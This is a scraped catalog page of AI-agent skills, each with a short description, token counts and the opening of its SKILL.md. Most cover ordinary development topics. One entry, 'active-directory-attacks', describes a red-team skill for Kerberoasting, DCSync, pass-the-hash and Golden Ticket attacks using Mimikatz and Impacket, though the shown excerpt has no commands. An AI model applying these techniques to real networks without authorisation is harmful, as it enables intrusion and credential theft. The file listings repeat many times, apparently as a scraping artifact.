skills/youtube-automation - youtube-summarizer
skills/youtube-summarizer - zapier-make-patterns
skills/zapier-make-patterns - zendesk-automation
skills/zendesk-automation - zoho-crm-automation
skills/zoho-crm-automation - zoom-automation
skills/zoom-automation - zustand-store-ts
skills/zustand-store-ts
How it works
3d-web-experience
When your agent uses it
Expert in building 3D experiences for the web - Three.js, React Three Fiber, Spline, WebGL, and interactive 3D scenes. Covers product configurators, 3D portfolios, immersive websites, and bringing ...
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
1,421 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Capabilities
- Patterns
Files
SKILL.mdcore5,467 bytesSKILL.mdcore5,467 bytesSKILL.mdcore5,467 bytesSKILL.mdcore5,467 bytesSKILL.mdcore5,467 bytes
Read SKILL.md
# 3D Web Experience
**Role**: 3D Web Experience Architect
You bring the third dimension to the web. You know when 3D enhances
and when it's just showing off. You balance visual impact with
performance. You make 3D accessible to users who've never touched
a 3D app. You create moments of wonder without sacrificing usability.
## Capabilities
- Three.js implementation
- React Three Fiber
- WebGL optimizationView the complete source on GitHubab-test-setup
When your agent uses it
Structured guide for setting up A/B tests with mandatory gates for hypothesis, metrics, and execution readiness.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
1,053 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 1<U+FE0F>⃣ Purpose & Scope
- 2<U+FE0F>⃣ Pre-Requisites
- Running the Test
- Analyzing Results
- Documentation & Learning
- Refusal Conditions (Safety)
- Key Principles (Non-Negotiable)
- Final Reminder
- When to Use
Files
SKILL.mdcore4,919 bytes
Read SKILL.md
# A/B Test Setup
## 1<U+FE0F>⃣ Purpose & Scope
Ensure every A/B test is **valid, rigorous, and safe** before a single line of code is written.
- Prevents "peeking"
- Enforces statistical power
- Blocks invalid hypotheses
---
## 2<U+FE0F>⃣ Pre-Requisites
View the complete source on GitHubaccessibility-compliance-accessibility-audit
When your agent uses it
You are an accessibility expert specializing in WCAG compliance, inclusive design, and assistive technology compatibility. Conduct audits, identify barriers, and provide remediation guidance.
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
352 tokensWhen the skill is activated
Reference documents
3,442 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Context
- Requirements
- Instructions
- Resources
Files
SKILL.mdcore1,936 bytesresources/implementation-playbook.mddoc13,895 bytes
Read SKILL.md
# Accessibility Audit and Testing
You are an accessibility expert specializing in WCAG compliance, inclusive design, and assistive technology compatibility. Conduct comprehensive audits, identify barriers, provide remediation guidance, and ensure digital products are accessible to all users.
## Use this skill when
- Auditing web or mobile experiences for WCAG compliance
- Identifying accessibility barriers and remediation priorities
- Establishing ongoing accessibility testing practices
- Preparing compliance evidence for stakeholders
## Do not use this skill when
- You only need a general UI design review without accessibility scopeView the complete source on GitHubactive-directory-attacks
When your agent uses it
This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", ...
What it loads into context
Frontmatter
80 tokensAlways available to the agent
SKILL.md
2,729 tokensWhen the skill is activated
Reference documents
2,865 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs/Prerequisites
- Outputs/Deliverables
- Essential Tools
- Core Workflow
- Credential Attacks
- Kerberos Ticket Attacks
- NTLM Relay Attacks
- Certificate Services Attacks (AD CS)
- Critical CVEs
- Quick Reference
- Constraints
- Examples
- Troubleshooting
- Additional Resources
- When to Use
Files
SKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesSKILL.mdcore9,552 bytesreferences/advanced-attacks.mddoc9,996 bytes
Read SKILL.md
# Active Directory Attacks
## Purpose
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
## Inputs/Prerequisites
- Kali Linux or Windows attack platform
- Domain user credentials (for most attacks)
- Network access to Domain Controller
- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
## Outputs/DeliverablesView the complete source on GitHubactivecampaign-automation
When your agent uses it
Automate ActiveCampaign tasks via Rube MCP (Composio): manage contacts, tags, list subscriptions, automation enrollment, and tasks. Always search tools first for current schemas.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
2,028 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Setup
- Core Workflows
- Common Patterns
- Known Pitfalls
- Quick Reference
- When to Use
Files
SKILL.mdcore8,378 bytes
Read SKILL.md
# ActiveCampaign Automation via Rube MCP
Automate ActiveCampaign CRM and marketing automation operations through Composio's ActiveCampaign toolkit via Rube MCP.
## Prerequisites
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
- Active ActiveCampaign connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `active_campaign`
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
## Setup
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
View the complete source on GitHubaddress-github-comments
When your agent uses it
Use when you need to address review or issue comments on an open GitHub Pull Request using the gh CLI.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
310 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Prerequisites
- Workflow
- Common Mistakes
- When to Use
Files
SKILL.mdcore1,364 bytesSKILL.mdcore1,364 bytesSKILL.mdcore1,364 bytesSKILL.mdcore1,364 bytes
Read SKILL.md
# Address GitHub Comments
## Overview
Efficiently address PR review comments or issue feedback using the GitHub CLI (`gh`). This skill ensures all feedback is addressed systematically.
## Prerequisites
Ensure `gh` is authenticated.
```bash
gh auth status
```
View the complete source on GitHubagent-evaluation
When your agent uses it
Testing and benchmarking LLM agents including behavioral testing, capability assessment, reliability metrics, and production monitoring—where even top agents achieve less than 50% on re...
What it loads into context
Frontmatter
62 tokensAlways available to the agent
SKILL.md
423 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Capabilities
- Requirements
- Patterns
- Anti-Patterns
- ⚠<U+FE0F> Sharp Edges
- Related Skills
- When to Use
Files
SKILL.mdcore2,101 bytes
Read SKILL.md
# Agent Evaluation
You're a quality engineer who has seen agents that aced benchmarks fail spectacularly in
production. You've learned that evaluating LLM agents is fundamentally different from
testing traditional software—the same input can produce different outputs, and "correct"
often has no single answer.
You've built evaluation frameworks that catch issues before production: behavioral regression
tests, capability assessments, and reliability metrics. You understand that the goal isn't
100% test pass rate—it
## Capabilities
- agent-testingView the complete source on GitHubagent-framework-azure-ai-py
When your agent uses it
Build Azure AI Foundry agents using the Microsoft Agent Framework Python SDK (agent-framework-azure-ai). Use when creating persistent agents with AzureAIAgentsProvider, using hosted tools (code int...
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
2,123 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Architecture
- Installation
- Environment Variables
- Authentication
- Core Workflow
- Provider Methods
- Hosted Tools Quick Reference
- Complete Example
- Conventions
- Reference Files
- When to Use
Files
SKILL.mdcore10,142 bytesSKILL.mdcore10,142 bytesSKILL.mdcore10,142 bytesSKILL.mdcore10,142 bytesSKILL.mdcore10,142 bytesSKILL.mdcore10,142 bytesSKILL.mdcore10,142 bytesSKILL.mdcore10,142 bytesSKILL.mdcore10,142 bytesSKILL.mdcore10,142 bytesSKILL.mdcore10,142 bytes
Read SKILL.md
# Agent Framework Azure Hosted Agents
Build persistent agents on Azure AI Foundry using the Microsoft Agent Framework Python SDK.
## Architecture
```
User Query → AzureAIAgentsProvider → Azure AI Agent Service (Persistent)
↓
Agent.run() / Agent.run_stream()
↓
Tools: Functions | Hosted (Code/Search/Web) | MCP
↓
AgentThread (conversation persistence)View the complete source on GitHubagent-manager-skill
When your agent uses it
Manage multiple local CLI agents via tmux sessions (start/stop/monitor/assign) with cron-friendly scheduling.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
259 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use
- Prerequisites
- Common commands
- Notes
Files
SKILL.mdcore1,088 bytesSKILL.mdcore1,088 bytesSKILL.mdcore1,088 bytesSKILL.mdcore1,088 bytesSKILL.mdcore1,088 bytesSKILL.mdcore1,088 bytesSKILL.mdcore1,088 bytes
Read SKILL.md
# Agent Manager Skill
## When to use
Use this skill when you need to:
- run multiple local CLI agents in parallel (separate tmux sessions)
- start/stop agents and tail their logs
- assign tasks to agents and monitor output
- schedule recurring agent work (cron)
## Prerequisites
Install `agent-manager-skill` in your workspace:View the complete source on GitHubagent-memory-mcp
When your agent uses it
A hybrid memory system that provides persistent, searchable knowledge management for AI agents (Architecture, Patterns, Decisions).
What it loads into context
Frontmatter
46 tokensAlways available to the agent
SKILL.md
554 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Setup
- Capabilities (MCP Tools)
- Dashboard
- When to Use
Files
SKILL.mdcore2,238 bytesSKILL.mdcore2,238 bytesSKILL.mdcore2,238 bytesSKILL.mdcore2,238 bytesSKILL.mdcore2,238 bytesSKILL.mdcore2,238 bytes
Read SKILL.md
# Agent Memory Skill
This skill provides a persistent, searchable memory bank that automatically syncs with project documentation. It runs as an MCP server to allow reading/writing/searching of long-term memories.
## Prerequisites
- Node.js (v18+)
## Setup
1. **Clone the Repository**:
Clone the `agentMemory` project into your agent's workspace or a parallel directory:
```bashView the complete source on GitHubagent-memory-systems
When your agent uses it
Memory is the cornerstone of intelligent agents. Without it, every interaction starts from zero. This skill covers the architecture of agent memory: short-term (context window), long-term (vector s...
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
452 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Capabilities
- Patterns
- Anti-Patterns
- ⚠<U+FE0F> Sharp Edges
- Related Skills
- When to Use
Files
SKILL.mdcore2,134 bytes
Read SKILL.md
# Agent Memory Systems
You are a cognitive architect who understands that memory makes agents intelligent.
You've built memory systems for agents handling millions of interactions. You know
that the hard part isn't storing - it's retrieving the right memory at the right time.
Your core insight: Memory failures look like intelligence failures. When an agent
"forgets" or gives inconsistent answers, it's almost always a retrieval problem,
not a storage problem. You obsess over chunking strategies, embedding quality,
and
## Capabilities
- agent-memoryView the complete source on GitHubagent-orchestration-improve-agent
When your agent uses it
Systematic improvement of existing agents through performance analysis, prompt engineering, and continuous iteration.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
2,099 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Safety
- Phase 1: Performance Analysis and Baseline Metrics
- Phase 2: Prompt Engineering Improvements
- Phase 3: Testing and Validation
- Phase 4: Version Control and Deployment
- Success Criteria
- Post-Deployment Review
- Continuous Improvement Cycle
Files
SKILL.mdcore10,162 bytes
Read SKILL.md
# Agent Performance Optimization Workflow
Systematic improvement of existing agents through performance analysis, prompt engineering, and continuous iteration.
[Extended thinking: Agent optimization requires a data-driven approach combining performance metrics, user feedback analysis, and advanced prompt engineering techniques. Success depends on systematic evaluation, targeted improvements, and rigorous testing with rollback capabilities for production safety.]
## Use this skill when
- Improving an existing agent's performance or reliability
- Analyzing failure modes, prompt quality, or tool usage
- Running structured A/B tests or evaluation suites
- Designing iterative optimization workflows for agents
## Do not use this skill whenView the complete source on GitHubagent-orchestration-multi-agent-optimize
When your agent uses it
Optimize multi-agent systems with coordinated profiling, workload distribution, and cost-aware orchestration. Use when improving agent performance, throughput, or reliability.
What it loads into context
Frontmatter
50 tokensAlways available to the agent
SKILL.md
1,295 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Safety
- Role: AI-Powered Multi-Agent Performance Engineering Specialist
- Arguments Handling
- 1. Multi-Agent Performance Profiling
- 2. Context Window Optimization
- 3. Agent Coordination Efficiency
- 4. Parallel Execution Optimization
- 5. Cost Optimization Strategies
- 6. Latency Reduction Techniques
- 7. Quality vs Speed Tradeoffs
- 8. Monitoring and Continuous Improvement
- Reference Workflows
- Key Considerations
Files
SKILL.mdcore6,814 bytesSKILL.mdcore6,814 bytesSKILL.mdcore6,814 bytesSKILL.mdcore6,814 bytesSKILL.mdcore6,814 bytes
Read SKILL.md
# Multi-Agent Optimization Toolkit
## Use this skill when
- Improving multi-agent coordination, throughput, or latency
- Profiling agent workflows to identify bottlenecks
- Designing orchestration strategies for complex workflows
- Optimizing cost, context usage, or tool efficiency
## Do not use this skill when
- You only need to tune a single agent prompt
- There are no measurable metrics or evaluation data
- The task is unrelated to multi-agent orchestrationView the complete source on GitHubagent-tool-builder
When your agent uses it
Tools are how AI agents interact with the world. A well-designed tool is the difference between an agent that works and one that hallucinates, fails silently, or costs 10x more tokens than necessar...
What it loads into context
Frontmatter
70 tokensAlways available to the agent
SKILL.md
338 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Capabilities
- Patterns
- Anti-Patterns
- Related Skills
- When to Use
Files
SKILL.mdcore1,490 bytes
Read SKILL.md
# Agent Tool Builder
You are an expert in the interface between LLMs and the outside world.
You've seen tools that work beautifully and tools that cause agents to
hallucinate, loop, or fail silently. The difference is almost always
in the design, not the implementation.
Your core insight: The LLM never sees your code. It only sees the schema
and description. A perfectly implemented tool with a vague description
will fail. A simple tool with crystal-clear documentation will succeed.
You push for explicit error hand
## CapabilitiesView the complete source on GitHubagents-v2-py
When your agent uses it
Build container-based Foundry Agents with Azure AI Projects SDK (ImageBasedHostedAgentDefinition). Use when creating hosted agents with custom container images in Azure AI Foundry.
What it loads into context
Frontmatter
58 tokensAlways available to the agent
SKILL.md
2,066 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Prerequisites
- Authentication
- Core Workflow
- ImageBasedHostedAgentDefinition Parameters
- Protocol Versions
- Resource Allocation
- Tools Configuration
- Environment Variables
- Complete Example
- Async Pattern
- Common Errors
- Best Practices
- Reference Links
- When to Use
Files
SKILL.mdcore9,226 bytesSKILL.mdcore9,226 bytesSKILL.mdcore9,226 bytesSKILL.mdcore9,226 bytesSKILL.mdcore9,226 bytesSKILL.mdcore9,226 bytesSKILL.mdcore9,226 bytesSKILL.mdcore9,226 bytesSKILL.mdcore9,226 bytesSKILL.mdcore9,226 bytesSKILL.mdcore9,226 bytesSKILL.mdcore9,226 bytesSKILL.mdcore9,226 bytesSKILL.mdcore9,226 bytesSKILL.mdcore9,226 bytesSKILL.mdcore9,226 bytes
Read SKILL.md
# Azure AI Hosted Agents (Python)
Build container-based hosted agents using `ImageBasedHostedAgentDefinition` from the Azure AI Projects SDK.
## Installation
```bash
pip install azure-ai-projects>=2.0.0b3 azure-identity
```
**Minimum SDK Version:** `2.0.0b3` or later required for hosted agent support.
## Environment Variables
View the complete source on GitHubai-agents-architect
When your agent uses it
Expert in designing and building autonomous AI agents. Masters tool use, memory systems, planning strategies, and multi-agent orchestration. Use when: build agent, AI agent, autonomous agent, tool ...
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
579 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Capabilities
- Requirements
- Patterns
- Anti-Patterns
- ⚠<U+FE0F> Sharp Edges
- Related Skills
- When to Use
Files
SKILL.mdcore2,669 bytes
Read SKILL.md
# AI Agents Architect
**Role**: AI Agent Systems Architect
I build AI systems that can act autonomously while remaining controllable.
I understand that agents fail in unexpected ways - I design for graceful
degradation and clear failure modes. I balance autonomy with oversight,
knowing when an agent should ask for help vs proceed independently.
## Capabilities
- Agent architecture design
- Tool and function calling
- Agent memory systemsView the complete source on GitHubai-engineer
When your agent uses it
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
1,852 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Safety
- Purpose
- Capabilities
- Behavioral Traits
- Knowledge Base
- Response Approach
- Example Interactions
Files
SKILL.mdcore8,959 bytesSKILL.mdcore8,959 bytes
Read SKILL.md
You are an AI engineer specializing in production-grade LLM applications, generative AI systems, and intelligent agent architectures.
## Use this skill when
- Building or improving LLM features, RAG systems, or AI agents
- Designing production AI architectures and model integration
- Optimizing vector search, embeddings, or retrieval pipelines
- Implementing AI safety, monitoring, or cost controls
## Do not use this skill when
- The task is pure data science or traditional ML without LLMs
- You only need a quick UI change unrelated to AI features
- There is no access to data sources or deployment targets
View the complete source on GitHubai-product
When your agent uses it
Every product will be AI-powered. The question is whether you'll build it right or ship a demo that falls apart in production. This skill covers LLM integration patterns, RAG architecture, prompt ...
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
467 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Patterns
- Anti-Patterns
- ⚠<U+FE0F> Sharp Edges
- When to Use
Files
SKILL.mdcore2,143 bytes
Read SKILL.md
# AI Product Development
You are an AI product engineer who has shipped LLM features to millions of
users. You've debugged hallucinations at 3am, optimized prompts to reduce
costs by 80%, and built safety systems that caught thousands of harmful
outputs. You know that demos are easy and production is hard. You treat
prompts as code, validate all outputs, and never trust an LLM blindly.
## Patterns
### Structured Output with Validation
Use function calling or JSON mode with schema validation
View the complete source on GitHubai-wrapper-product
When your agent uses it
Expert in building products that wrap AI APIs (OpenAI, Anthropic, etc.) into focused tools people will pay for. Not just 'ChatGPT but different' - products that solve specific problems with AI. Cov...
What it loads into context
Frontmatter
71 tokensAlways available to the agent
SKILL.md
1,573 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Capabilities
- Patterns
Files
SKILL.mdcore6,574 bytesSKILL.mdcore6,574 bytes
Read SKILL.md
# AI Wrapper Product
**Role**: AI Product Architect
You know AI wrappers get a bad rap, but the good ones solve real problems.
You build products where AI is the engine, not the gimmick. You understand
prompt engineering is product development. You balance costs with user
experience. You create AI products people actually pay for and use daily.
## Capabilities
- AI product architecture
- Prompt engineering for products
- API cost managementView the complete source on GitHubairflow-dag-patterns
When your agent uses it
Build production Apache Airflow DAGs with best practices for operators, sensors, testing, and deployment. Use when creating data pipelines, orchestrating workflows, or scheduling batch jobs.
What it loads into context
Frontmatter
53 tokensAlways available to the agent
SKILL.md
296 tokensWhen the skill is activated
Reference documents
3,393 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Safety
- Resources
Files
SKILL.mdcore1,456 bytesresources/implementation-playbook.mddoc13,943 bytes
Read SKILL.md
# Apache Airflow DAG Patterns
Production-ready patterns for Apache Airflow including DAG design, operators, sensors, testing, and deployment strategies.
## Use this skill when
- Creating data pipeline orchestration with Airflow
- Designing DAG structures and dependencies
- Implementing custom operators and sensors
- Testing Airflow DAGs locally
- Setting up Airflow in production
- Debugging failed DAG runs
## Do not use this skill whenView the complete source on GitHubairtable-automation
When your agent uses it
Automate Airtable tasks via Rube MCP (Composio): records, bases, tables, fields, views. Always search tools first for current schemas.
What it loads into context
Frontmatter
59 tokensAlways available to the agent
SKILL.md
1,735 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Setup
- Core Workflows
- Common Patterns
- Known Pitfalls
- Quick Reference
- When to Use
Files
SKILL.mdcore6,677 bytes
Read SKILL.md
# Airtable Automation via Rube MCP
Automate Airtable operations through Composio's Airtable toolkit via Rube MCP.
## Prerequisites
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
- Active Airtable connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `airtable`
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
## Setup
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
View the complete source on GitHubalgolia-search
When your agent uses it
Expert patterns for Algolia search implementation, indexing strategies, React InstantSearch, and relevance tuning Use when: adding search to, algolia, instantsearch, search api, search functionality.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
462 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Patterns
- ⚠<U+FE0F> Sharp Edges
- When to Use
Files
SKILL.mdcore2,088 bytes
Read SKILL.md
# Algolia Search Integration
## Patterns
### React InstantSearch with Hooks
Modern React InstantSearch setup using hooks for type-ahead search.
Uses react-instantsearch-hooks-web package with algoliasearch client.
Widgets are components that can be customized with classnames.
Key hooks:
- useSearchBox: Search input handling
- useHits: Access search resultsView the complete source on GitHubalgorithmic-art
When your agent uses it
Creating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields,...
What it loads into context
Frontmatter
62 tokensAlways available to the agent
SKILL.md
4,161 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- ALGORITHMIC PHILOSOPHY CREATION
- DEDUCING THE CONCEPTUAL SEED
- P5.JS IMPLEMENTATION
- INTERACTIVE ARTIFACT CREATION
- VARIATIONS & EXPLORATION
- THE CREATIVE PROCESS
- RESOURCES
- When to Use
Scripts executed separately
templates/generator_template.js
Files
LICENSE.txtdoc11,357 bytesSKILL.mdcore19,783 bytestemplates/generator_template.jsruns7,826 bytestemplates/viewer.htmlasset20,844 bytes
Read SKILL.md
Algorithmic philosophies are computational aesthetic movements that are then expressed through code. Output .md files (philosophy), .html files (interactive viewer), and .js files (generative algorithms).
This happens in two steps:
1. Algorithmic Philosophy Creation (.md file)
2. Express by creating p5.js generative art (.html + .js files)
First, undertake this task:
## ALGORITHMIC PHILOSOPHY CREATION
To begin, create an ALGORITHMIC PHILOSOPHY (not static images or templates) that will be interpreted through:
- Computational processes, emergent behavior, mathematical beauty
- Seeded randomness, noise fields, organic systems
- Particles, flows, fields, forcesView the complete source on GitHubamplitude-automation
When your agent uses it
Automate Amplitude tasks via Rube MCP (Composio): events, user activity, cohorts, user identification. Always search tools first for current schemas.
What it loads into context
Frontmatter
58 tokensAlways available to the agent
SKILL.md
1,944 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Setup
- Core Workflows
- Common Patterns
- Known Pitfalls
- Quick Reference
- When to Use
Files
SKILL.mdcore8,093 bytes
Read SKILL.md
# Amplitude Automation via Rube MCP
Automate Amplitude product analytics through Composio's Amplitude toolkit via Rube MCP.
## Prerequisites
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
- Active Amplitude connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `amplitude`
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
## Setup
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
View the complete source on GitHubanalytics-tracking
When your agent uses it
What it loads into context
Frontmatter
90 tokensAlways available to the agent
SKILL.md
1,677 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Phase 0: Measurement Readiness & Signal Quality Index (Required)
- 🔢 Measurement Readiness & Signal Quality Index
- Phase 1: Context & Decision Definition
- Core Principles (Non-Negotiable)
- Event Model Design
- Conversion Strategy
- GA4 & GTM (Implementation Guidance)
- UTM & Attribution Discipline
- Validation & Debugging
- Privacy & Compliance
- Output Format (Required)
- Questions to Ask (If Needed)
- Related Skills
- When to Use
Files
SKILL.mdcore7,708 bytesSKILL.mdcore7,708 bytes
Read SKILL.md
# Analytics Tracking & Measurement Strategy
You are an expert in **analytics implementation and measurement design**.
Your goal is to ensure tracking produces **trustworthy signals that directly support decisions** across marketing, product, and growth.
You do **not** track everything.
You do **not** optimize dashboards without fixing instrumentation.
You do **not** treat GA4 numbers as truth unless validated.
---
## Phase 0: Measurement Readiness & Signal Quality Index (Required)
Before adding or changing tracking, calculate the **Measurement Readiness & Signal Quality Index**.View the complete source on GitHubangular
When your agent uses it
What it loads into context
Frontmatter
76 tokensAlways available to the agent
SKILL.md
4,589 tokensWhen the skill is activated
Reference documents
300 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Do Not Use This Skill When
- Instructions
- Safety
- Angular Version Timeline
- 1. Signals: The New Reactive Primitive
- 2. Standalone Components
- 3. Zoneless Angular
- 4. Server-Side Rendering & Hydration
- 5. Modern Routing Patterns
- 6. Dependency Injection Patterns
- 7. Component Composition & Reusability
- 8. State Management Patterns
- 9. Forms with Signals (Coming in v22+)
- 10. Performance Optimization
- 11. Testing Modern Angular
- Best Practices Summary
- Resources
- Common Troubleshooting
Files
README.mddoc1,400 bytesSKILL.mdcore20,279 bytesSKILL.mdcore20,279 bytesmetadata.jsonasset741 bytes
Read SKILL.md
# Angular Expert
Master modern Angular development with Signals, Standalone Components, Zoneless applications, SSR/Hydration, and the latest reactive patterns.
## When to Use This Skill
- Building new Angular applications (v20+)
- Implementing Signals-based reactive patterns
- Creating Standalone Components and migrating from NgModules
- Configuring Zoneless Angular applications
- Implementing SSR, prerendering, and hydration
- Optimizing Angular performance
- Adopting modern Angular patterns and best practices
View the complete source on GitHubangular-best-practices
When your agent uses it
Angular performance optimization and best practices guide. Use when writing, reviewing, or refactoring Angular code for optimal performance, bundle size, and rendering efficiency.
What it loads into context
Frontmatter
48 tokensAlways available to the agent
SKILL.md
3,123 tokensWhen the skill is activated
Reference documents
440 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Apply
- Rule Categories by Priority
- 1. Change Detection (CRITICAL)
- 2. Async Operations & Waterfalls (CRITICAL)
- 3. Bundle Optimization (CRITICAL)
- 4. Rendering Performance (HIGH)
- 5. Server-Side Rendering (HIGH)
- 6. Template Optimization (MEDIUM)
- 7. State Management (MEDIUM)
- 8. Memory Management (LOW-MEDIUM)
- Quick Reference Checklist
- Resources
- When to Use
Files
README.mddoc1,845 bytesSKILL.mdcore13,201 bytesmetadata.jsonasset724 bytes
Read SKILL.md
# Angular Best Practices
Comprehensive performance optimization guide for Angular applications. Contains prioritized rules for eliminating performance bottlenecks, optimizing bundles, and improving rendering.
## When to Apply
Reference these guidelines when:
- Writing new Angular components or pages
- Implementing data fetching patterns
- Reviewing code for performance issues
- Refactoring existing Angular code
- Optimizing bundle size or load times
- Configuring SSR/hydrationView the complete source on GitHubangular-migration
When your agent uses it
Migrate from AngularJS to Angular using hybrid mode, incremental component rewriting, and dependency injection updates. Use when upgrading AngularJS applications, planning framework migrations, or ...
What it loads into context
Frontmatter
49 tokensAlways available to the agent
SKILL.md
2,464 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Safety
- Migration Strategies
- Hybrid App Setup
- Component Migration
- Service Migration
- Dependency Injection Changes
- Routing Migration
- Forms Migration
- Migration Timeline
- Resources
- Best Practices
- Common Pitfalls
Files
SKILL.mdcore10,307 bytes
Read SKILL.md
# Angular Migration
Master AngularJS to Angular migration, including hybrid apps, component conversion, dependency injection changes, and routing migration.
## Use this skill when
- Migrating AngularJS (1.x) applications to Angular (2+)
- Running hybrid AngularJS/Angular applications
- Converting directives to components
- Modernizing dependency injection
- Migrating routing systems
- Updating to latest Angular versions
- Implementing Angular best practices
View the complete source on GitHubangular-state-management
When your agent uses it
Master modern Angular state management with Signals, NgRx, and RxJS. Use when setting up global state, managing component stores, choosing between state solutions, or migrating from legacy patterns.
What it loads into context
Frontmatter
53 tokensAlways available to the agent
SKILL.md
3,605 tokensWhen the skill is activated
Reference documents
